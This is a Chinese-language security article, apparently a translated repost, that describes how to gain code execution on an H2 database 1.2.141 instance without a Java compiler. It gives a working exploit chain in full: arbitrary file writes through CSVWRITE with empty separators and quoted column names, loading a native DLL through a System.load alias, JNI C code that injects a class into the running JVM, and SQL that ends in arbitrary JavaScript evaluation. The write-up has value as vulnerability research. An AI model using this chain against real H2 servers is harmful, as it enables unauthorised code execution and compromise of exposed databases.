在H2数据库引擎中获取代码执行权限的技术早已是众所周知,但有个要求就是H2能够动态编译Java代码。而本文将向大家展示以前没有公开过的利用H2的方法,并且无需使用Java编译器,即通过原生库和JNI(Java原生接口)实现H2数据库漏洞的利用 。

介绍

上周,Doyensec的Andrea Brancaleoni发表了一篇关于jackson gadgets-漏洞剖析的博文。它描述了如果Logback和H2数据库引擎库可用,如何利用Jackson库中基于setter的漏洞。简而言之,就是利用H2的特性,使用Java代码 创建用户定义的函数,并使用Java编译器动态编译这些函数。

但如果Java编译器不可用呢?这是在最近的一次参与中遇到的情况,Windows系统上的H2数据库引擎实例版本1.2.141公开了其Web控制台。我们希望通过使用原生库(.dll或.so)和Java原生接口(JNI),找到一种新的方法来执行任意Java代码,而无需在目标服务器上使用Java编译器。

H2 能力评估

假设我们不能使用CREATE ALIAS … AS … 命令,因为Java编译器不可用。原因可能是它不是Java Development Kit(JDK)而是Java Runtime Environment(JRE),因此没有编译器。或是由于未正确设置PATH环境变量,导致无法找到Java编译器javac。

但是,CREATE ALIAS … FOR …  命令可以使用:

当引用一个方法时,类必须已经被编译并包含在运行数据库的类路径中。仅支持静态Java方法;类和方法都必须是公共的。

因此各个公共静态方法都可以使用。最坏的情况是,只有h2-1.2.141.jar和JRE可用。此外,只有受支持的数据类型可用于嵌套函数调用。

在Java运行时库rt.jar中浏览candidates时,我们发现System.load(String)方法允许加载原生库。这意味着我们可以通过库的入口点函数来执行代码。

但如何将库加载到H2服务器上呢?虽然Windows上的Java支持UNC路径并提取文件,但其拒绝实际加载它。而且这在Linux上也不起作用。那么,如何将文件写入H2服务器呢?

使用 H2 写入任意文件

在查看和研究了一些H2函数后,我们发现了一个FILE_WRITE文件写入函数。不幸的是,FILE_WRITE是在1.4.190中引入的。而我们需要的是在1.2.141中可用的函数。最终我们找到了一个名为CSVWRITE的函数,这也是唯一一个名称中带“ write”的函数。

快速测试显示了CSV列标头也被打印了出来。查看CSV选项,可以看到有一个writeColumnHeader选项可用于禁用写入列标头。不幸的是,writeColumnHeader选项仅被添加在了1.3/1.4.177上。

但是在查看其他受支持的选项fieldSeparator,fieldDelimiter,escape,null和lineSeparator时,我蹦出了一个想法:如果我们将它们全部清空,并使用CSV列标头写入我们的数据,会怎样?如果H2数据库引擎允许列具有任意长度的任意名称,那么我们就能够写入任意数据。

查看H2的列语法,列的columnName可以是带引号的名称,定义如下:

“ anything ”
带引号的名称区分大小写,并且可以包含空格。没有最大名称长度。两个双引号可用于在标识符内创建一个单双引号。

这听起来很完美。让我们看看我们是否可以在其中放入任意内容,以及CSVWRITE是否具有二进制安全机制。

首先,让我们生成涵盖所有8-bit octet的测试数据:

$ python -c 'import sys;[sys.stdout.write(chr(i)) for i in range(0,256)]' > test.bin$ sha1sum test.bin4916d6bdb7f78e6803698cab32d1586ea457dfc8  test.bin

现在我们生成一系列CHAR(n)函数调用,它们将在SQL查询中生成我们的二进制数据:

xxd -p -c 256 test.bin | sed -e 's/../),CHAR(0x&/g' -e 's/^),//' -e 's/$/)/' -e 's/CHAR(0x22)/&,&/g'

然后,我们在以下CSVWRITE调用中使用它:

SELECT CSVWRITE('C:\Windows\Temp\test.bin', CONCAT('SELECT NULL "', … , '"'), 'ISO-8859-1', '', '', '', '', '');

最后,我们测试写入的文件是否具有相同的校验和:

C:\Windows\Temp> certutil -hashfile test.bin SHA1SHA1 hash of file test.bin:49 16 d6 bd b7 f7 8e 68 03 69 8c ab 32 d1 58 6e a4 57 df c8CertUtil: -hashfile command completed successfully.

可以看到,文件应该是相同的!

进入原生世界

既然我们可以使用内置函数CSVWRITE,将原生库写入磁盘并通过为System.load(String)创建别名来加载它,我们就可以使用库的入口点来实现代码执行。

让我们更进一步,看看是否有办法从SQL执行任意命令/代码。

Java Native Interface(JNI)允许原生代码和Java虚拟机(JVM)之间的交互。因此,在这种情况下,它将允许我们与运行H2数据库的JVM进行交互。

现在,我的想法是使用JNI通过ClassLoader.defineClass(byte[], int, int)将自定义Java类注入到运行的JVM中。这将允许我们创建一个别名并从SQL调用它。

使用 JNI 调用 JVM

首先,我们需要获得正在运行的JVM的句柄。这可以通过JNI_GetCreatedJavaVMs函数来完成。然后,将当前线程附加到VM,并获得JNI接口指针(JNIEnv)。使用该指针,我们可以与JVM交互并调用JNI函数,例如FindClass, GetStaticMethodID/GetMethodID> 和 CallStaticMethod/CallMethod。计划是通过ClassLoader.getSystemClassLoader()获取系统类加载器并调用defineClass:

// xxd -p -c 10000 bin/JNIScriptEngine.class | sed -e 's/../0x&,/g' -e 's/^/char buf[] = {/' -e 's/,$/};/'// public static JNIScriptEngine.eval(String js) : Stringchar buf[] = { /* ... */ };size_t bufLen = sizeof(buf);jbyteArray jData = (*g_env)->NewByteArray(g_env, bufLen);(*g_env)->SetByteArrayRegion(g_env, jData, 0, bufLen, (jbyte*)buf);JNIEnv * g_env;JavaVM* g_vm;jsize num_vms = 0;jint result = JNI_GetCreatedJavaVMs(&g_vm, 1, &num_vms);int getEnvStat = (*g_vm)->GetEnv(g_vm, (void **)&g_env, JNI_VERSION_1_6);if (getEnvStat == JNI_EDETACHED) {  // printf("GetEnv: not attached\n");  if ((*g_vm)->AttachCurrentThread(g_vm, (void **) &g_env, NULL) != 0) {    // printf("Failed to attach\n");  }} else if (getEnvStat == JNI_OK) {  // printf("GetEnv: everything's fine\n");} else if (getEnvStat == JNI_EVERSION) {  // printf("GetEnv: version not supported\n");}jclass cls;jmethodID meth;jobject obj;cls = (*g_env)->FindClass(g_env, "java/lang/ClassLoader");// static java.lang.ClassLoader.getSystemClassLoader() : java.lang.ClassLoadermeth = (*g_env)->GetStaticMethodID(g_env, cls, "getSystemClassLoader", "()Ljava/lang/ClassLoader;");jobject systemClassLoader = (*g_env)->CallStaticObjectMethod(g_env, cls, meth);// java.lang.ClassLoader.defineClass(byte[], int, int) : java.lang.Classmeth = (*g_env)->GetMethodID(g_env, cls, "defineClass", "([BII)Ljava/lang/Class;");jobject loadedClass = (*g_env)->CallObjectMethod(g_env, systemClassLoader, meth, jData, 0, (jint)bufLen);(*g_env)->DeleteLocalRef(g_env, jData);(*g_vm)->DetachCurrentThread(g_vm);

这基本上是模仿了以下Java代码:

Class cls = Class.forName("java.lang.ClassLoader");Method meth = cls.getDeclaredMethod("getSystemClassLoader", new Class[0]);Object systemClassLoader = meth.invoke(null, new Object[0]);meth = cls.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });meth.setAccessible(true);meth.invoke(systemClassLoader, new Object[] { jData, 0, jData.length });

自定义Java类JNIScriptEngine只有一个公共静态方法,它使用可用的ScriptEngine实例评估传递的脚本:

public class JNIScriptEngine {  public static String eval(String script) throws Exception {    return new javax.script.ScriptEngineManager().getEngineFactories().get(0).getScriptEngine().eval(script).toString();  }}

最终,整合在一起的代码如下:

-- write native librarySELECT CSVWRITE('C:\Windows\Temp\JNIScriptEngine.dll', CONCAT('SELECT NULL "', ... , '"'), 'ISO-8859-1', '', '', '', '', '');-- load native libraryCREATE ALIAS IF NOT EXISTS System_load FOR "java.lang.System.load";CALL System_load('C:\Windows\Temp\JNIScriptEngine.dll');-- evaluate scriptCREATE ALIAS IF NOT EXISTS JNIScriptEngine_eval FOR "JNIScriptEngine.eval";CALL JNIScriptEngine_eval('7*191');

这样我们就可以从SQL执行任意的JavaScript代码了。

*参考来源:codewhitesec,FB小编secist编译,转载请注明来自FreeBuf.COM

精彩推荐

java 清空控制台_利用原生库和JNI(Java原生接口)实现H2数据库漏洞利用相关推荐

  1. java gui 控制台_在GUI面板中创建Java控制台

    这是一个功能强大的课程.您可以将此实例安装到系统中并使用以下错误: PrintStream con=new PrintStream(new TextAreaOutputStream(...)); Sy ...

  2. java毕业设计软考在线题库系统mybatis+源码+调试部署+系统+数据库+lw

    java毕业设计软考在线题库系统mybatis+源码+调试部署+系统+数据库+lw java毕业设计软考在线题库系统mybatis+源码+调试部署+系统+数据库+lw 本源码技术栈: 项目架构:B/S ...

  3. java spi 扩展_【扩展和解耦】JAVA原生SPI实现插件扩展

    Java极客  |  作者  /  铿然一叶 这是Java极客的第 81 篇原创文章 相关阅读: 1. 什么是插件 通俗的讲插件有以下特征: 1.增加或者替换已有能力 2.不影响原有功能 3.对原有系 ...

  4. java 底层运行_从表面到底层丨Java和JVM的运行原理,现在带给你

    Java,编程语言,被创造于90年代初,在经历了这么多年的风风雨雨,Java已经成长为世界第一的编程语言,根据往期以及目前的数据来看,Java的使用频率为全球第一,即使偶尔会有第二第三的情况,但是这依 ...

  5. eclipse java工程目录_转载:Eclipse下的java工程目录

    对新手来讲,一个Java工程内部的多个文件夹经常会让大家困惑.更可恶的是莫名其妙的路径问题,在Eclipse编写Java程序中,出现频率最高的错误很可能就是路径问题. 这些问题原因其实都是一个,就是关 ...

  6. ubuntu java classpath 设置_在Ubuntu中正确设置java classpath和java_home

    我有错误 Exception in thread"main" java.lang.NoClassDefFoundError: 当我尝试在Ubuntu上运行编译类时.我使用的是一个非 ...

  7. python还是java好找工作_你觉得学 Python 还是 Java 更好找工作?

    java是一门资深的编程语言,也是普及率比较高的一门语言,有着非常丰富的第三方库,在市场上的需求量也是非常高的,可以从事web开发.网络开发以及app开发等工作,这些都是通过java来实现的,也是一种 ...

  8. java算术表达式_一文了解如何用 Java 进行算术表达式计算

    (给ImportNew加星标,提高Java技能) 编译:ImportNew/唐尤华 如何用Java计算"5+3"."10-40"."10*3" ...

  9. Java并发插件_五分钟,轻松掌握Java并发编程!

    Java作为最流行的编程语言之一,随着 Java 8的到来,越来越多的人开始学习,并深入研究!下面将介绍 Java并发编程,让开发者在最短的时间里掌握并发编程. 1. 并发 1.1. 什么是并发? 并 ...

最新文章

  1. php 如何让图片循环显示图片,[宜配屋]听图阁
  2. 35+的互联网人都哪去了
  3. android短信安全,[原创]分析了一款android短信木马
  4. 可支持任意级选择器级联的控件函数
  5. 【Android图像处理】图像处理之-素描效果
  6. Atitit Mysql查询优化器 存取类型 范围存取类型 索引存取类型 AND or的分析
  7. dedecms仿包图网站素材图片下载站网站源码在线付费+会员系统+积分系统
  8. 如何删除Mac电脑中的第三方字体?
  9. 职业学校计算机教学总结报告,中职计算机教师教学工作总结(共6篇) .docx
  10. 【Go语言】深入浅出chan(各种实例场景+分析)
  11. windows10桌面_三大虚拟桌面软件对比,总有一款适合你!
  12. linux启动过程文件系统崩溃,Linux启动过程中文件系统的加载
  13. LeeCode1468. 计算税后工资
  14. 双语不用教 下载地址!!!
  15. 专题-参数方程与极坐标
  16. HtmlUnit入门教程
  17. 提升网站黏着度的技术手段其实跟“搞对象”完全一样,也有“潜规则”
  18. 雷达导论PART IV.1 多普勒效应
  19. 如何实现短信的发送,配置-----容联云(测试)
  20. 记忆化结果再利用 进一步探讨递推关系

热门文章

  1. SSM框架整合(Spring+SpringMVC+MyBatis)
  2. 通俗理解tf.name_scope()、tf.variable_scope()
  3. 行人检测与重识别!SOTA算法
  4. [JS]题解 | #魔法数字#
  5. ProgreassBar 60秒走完,
  6. Spanned.SPAN_EXCLUSIVE_EXCLUSIVE的含义
  7. JS中的7种设计模式
  8. 2018HDU多校训练-3-Problem G. Interstellar Travel
  9. 使用spring initializr ( 4.快速创建springboot工程 )(入门结束)
  10. A. 位运算符的应用---管理一组事务的开关状态